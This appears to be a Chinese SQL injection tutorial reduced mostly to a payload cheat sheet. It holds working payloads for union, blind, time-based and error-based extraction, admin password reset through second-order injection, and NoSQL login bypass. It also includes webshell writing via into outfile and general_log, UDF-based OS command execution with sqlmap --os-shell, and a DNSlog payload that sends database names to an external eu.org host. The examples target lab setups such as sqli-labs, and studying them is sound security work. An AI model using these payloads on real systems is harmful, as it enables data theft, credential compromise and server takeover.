常见安全漏洞-SQL注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

--查看数据库
show databases();
--使用数据库
use information_schema
--查看当前使用数据库
select database();
--查看数据表
show tables();
--查看数据库版本
select version();
--使用当前数据库的用户
select user();
--查看数据库路径
select @@datadir
--查看安装路径
select @@basedir
--查看系统类型
select @@version_compile_os

1
2
3
4
5
6
7
8
9

--库名
union select 1,group_concat(schema_name),3 from information_schema.schemata
union select 1,(select schema_name from information_schema.schemata limit 0,1),3
--表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
--列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'
--数据
union select 1,group_concat(id,email_id),3 from security.emails

1
2

select * from user where id = '?'
?` 为用户输入，替代为：`4' and sleep(3)#

1
2
3

id=1 and if(ord(substr(database(),1,1))=116,1,0)%23
select substring(database(), from 1 for 1)
select substring(database(), 0, 1)

1
2

select mid(database(), from 1 for 1)
select mid(database(), 1, 1)

1

select left(database(), 1) 

1
2
3
4

select * from wp_user_ where password rlike "^1"
select * from wp_user_ where password REGEXP "^1"
select * from wp_user_ where password REGEXP "^12"
...

1

if(ascii(substr(database() from 0))=97, sleep(3),0)

1

SELECT BENCHMARK(10000000, sha(1))

1

SELECT count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C;

1

select * from wp_user_ where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)

1
2
3
4
5

--获取当前数据库名
http://localhost/sqli-labs/Less-8/?id=1' and load_file(concat('//',database(),'.0e9cc54a.ipv6.1433.eu.org/a'))--+
--获取表名
http://localhost/sqli-labs/Less-8/?id=1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'.0e9cc54a.ipv6.1433.eu.org/a'))--+
--后续的步骤与手动注入类似

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

--显示当前数据库
updatexml(1,CONCAT(0x7e, database()),1)

--显示所有数据库
updatexml(1,CONCAT(0x7e,(select schema_name FROM INFORMATION_SCHEMA.SCHEMATA limit x,1), 0x7e),1)

--获取表名
updatexml(1,CONCAT(0x7e,(select table_name from information_schema.tables where table_schema="sectest" limit x,1), 0x7e),1)

updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
--获取列名
updatexml(1,CONCAT(0x7e,(select column_name from information_schema.COLUMNS where table_name="wp_user_" limit 1,1), 0x7e),1)

updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)

--获取数据
updatexml(1,CONCAT(0x7e,(select username from wp_user_ limit 0,1), 0x7e),1)

updatexml(1,CONCAT(0x7e,(select password from wp_user_ where username="admin" limit 0,1), 0x7e),1)

updatexml(1,CONCAT(0x7e,(select GROUP_CONCAT(username, 0x3a, password) from wp_user_ where id=1), 0x7e),1)

updatexml(1,make_set(3,'~',(select data from users)),1)#

1
2
3

and (select 1 from (select count(*), concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a)

and (select 1 from (select count(*), concat((select group_concat(username,0x3a,password) from wp_user_ where id=1), floor(rand(0)*2))x from information_schema.tables group by x)a)

1
2
3
4
5
6
7

and extractvalue(1,concat(0x7e,(select database())))
//1105 - XPATH syntax error: '~sectest', Time: 0.000000s

and exp(~(select * from (select user())a)) // mysql5

union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
//1060 - Duplicate column name '5.7.23', Time: 0.000000s

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* 批量执行查询 */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->free();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

1

|| (select user from users where user_id=1)='admin'

1

||(select substr((select group_concat(name)name from test), 1, 1))='t'

1

|| substr(name,1,1)=0x74 || substr(name,1,1)=unhex(74)

1

|| binary(name) = 0x74657374

1
2
3
4

--注册账号，输入我们的账号密码，账号设置成admin'#,密码随意，admin'#被存进数据库
--当我们修改admin'#的密码时执行的sql语句是
update users set password='$new_pass' where username='admin'# and password='$old_pass';
--这时候 and 条件被注释掉，我们随意输入密码就达到了，修改admin账户密码的目的

1
2
3

set global general_log = on;
set global general_log_file = 'D:/webshell.php';
select '<?php eval($_POST['key']) ?>';

1

select username, password from users where id="1" union select null,'<?php @eval($_REQUEST[1]);?>' into outfile '/var/www/html/webshell.php'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

--lines terminated by 写入
?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

--lines starting by 写入
?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

--fields terminated by 写入
?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

--COLUMNS terminated by 写入
?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

1
2

# 解码文件
python cloak.py -d -i /path/to/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_linux.so

1

select unhex('???') into dumpfile '/usr/lib/mysql/plugin/lib_linux.so'

1
2

create function sys_eval returns string soname "lib_linux.so";
select sys_eval('ifconfig');

1
2

sqlmap -u "url" --os-shell
sqlmap -u "url" --os-cmd=ifconfig

1
2
3
4
5
6
7

<?php
    $conn = mysqli_connect("127.0.0.1", "root", "root", "test");
	$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");
	$row = mysqli_fetch_array($res);
	echo "$row['title']";
	echo "$row['content']";
?>

1

select title from (select pwd AS title from wp_user)x

1

select * from wp_user_ order by 1|updatexml(1,concat(0x7e,database(),0x7e),0)

1

$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title']}");

1
2
3
4
5
6

--布尔型盲注
select * from wp_user_ order by id|(if(1,2,1))

--id 和 if 返回的结果进行按位与进行 order by 根据时间判断

select * from wp_user_ order by 1|if(database() regexp "sectest",sleep(1),0)

1
2
3
4
5

INSERT into wp_user_ (username,password,year) VALUES("test1","122","3" and sleep(1))

INSERT into wp_user_ (username,password,year) VALUES("test1","122","3" & sleep(1))

INSERT into wp_user_ (username,password,year) VALUES("test1","122","3" | sleep(1))

1
2
3
4
5
6
7
8
9

INSERT into wp_user_ (username,password,year) VALUES("test1","122"or updatexml(1,concat(0x7e,DATABASE()),0),1)

INSERT into wp_user_ (username,password,year) VALUES("test1","122"and updatexml(1,concat(0x7e,DATABASE()),0),1)

INSERT into wp_user_ (username,password,year) VALUES("test1","122"&updatexml(1,concat(0x7e,DATABASE()),0),1)

INSERT into wp_user_ (username,password,year) VALUES("test1","122"|updatexml(1,concat(0x7e,DATABASE()),0),1)

INSERT into wp_user_ (username,password,year) VALUES("test1","122"+updatexml(1,concat(0x7e,DATABASE()),0),1)

1

insert into tables values ('\',',(select flag from level15_flag))# ')

1
2
3

update wp_user_ set password="zxczxcxzc"or updatexml(1,concat(0x7e,database()),1) where id=9

update wp_user_ set password="zxczxcxzc"or(updatexml(1,concat(0x7e,database()),1)) where id=9

1
2
3
4

update wp_user_ set password="2" and sleep(1) where id=9

update wp_user_ set password="00000000" and if((LENGTH(database())=8),sleep(1),0) where id=9
--password处必须为数字型

1
2
3

delete from wp_user_ where id=21 or/and(sleep(2))

delete from wp_user_ where id=21 and if((LENGTH(database()=7)),sleep(2),0)

1

delete from wp_user_ where id=21 and updatexml(1,concat(0x7e,database()),1)

1
2
3
4
5
6
7
8
9

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

1
2
3
4
5
6

{
  "name": "xunruo",
  "age": 26,
  "status": "A",
  "groups": ["news", "sports"]
}

1

username=test&password=123456

1

db.users.find({username: 'test', password: '123456'})

1

username[$ne]=1&password[$ne]=1

1

db.logins.find({username:{$ne:1}, password:{$ne:1}})

1

select * from logins where username <> 1 and password <> 1

1
2
3
4
5
6

$script= "try{
	var key = db.users.find({username: 'test'}).value;
	var inputValue = '".$input."';
	if(key == inputValue) {
		return('match');
}}";